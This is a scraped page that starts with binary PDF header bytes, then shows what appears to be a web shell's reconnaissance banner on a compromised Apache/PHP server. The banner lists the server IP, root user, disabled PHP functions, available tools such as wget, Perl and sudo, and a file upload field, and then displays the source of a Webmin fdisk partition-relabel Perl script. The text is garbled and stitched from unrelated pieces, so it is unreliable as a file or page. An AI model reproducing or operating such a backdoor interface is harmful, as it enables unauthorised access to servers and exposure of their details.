%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/webmin/fdisk/ |
Upload File : |
#!/usr/bin/perl # Show a form to re-write a disks partition table require './fdisk-lib.pl'; &ReadParse(); &can_edit_disk($in{'device'}) || &error($text{'disk_ecannot'}); # Get the disk @disks = &list_disks_partitions(); ($d) = grep { $_->{'device'} eq $in{'device'} } @disks; $d || &error($text{'disk_egone'}); @parts = @{$d->{'parts'}}; if (!@parts && $d->{'cylinders'} * $d->{'cylsize'} > 2*1024*1024*1024*1024) { # Recommend GPT format for new large disks $d->{'table'} = 'gpt'; } elsif (!@parts) { $d->{'table'} = $config{'format'}; } &ui_print_header($d->{'desc'}, $text{'relabel_title'}, ""); print "<b>",&text('relabel_warn', $d->{'desc'}, $d->{'device'}),"</b><p>\n"; print &ui_form_start("relabel.cgi"); print &ui_hidden("device", $in{'device'}); print &ui_table_start(undef, undef, 2); print &ui_table_row($text{'relabel_parts'}, join(", ", map { &tag_name($_->{'type'})." ". &nice_size(($_->{'end'} - $_->{'start'} + 1) * $d->{'cylsize'}) } @parts) || $text{'relabel_noparts'}); print &ui_table_row($text{'relabel_table'}, &ui_select("table", $d->{'table'}, [ map { [ $_, $text{'table_'.$_} || uc($_) ] } &list_table_types($d) ])); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'relabel_ok'} ] ]); &ui_print_footer("edit_disk.cgi?device=$dinfo->{'device'}", $text{'disk_return'});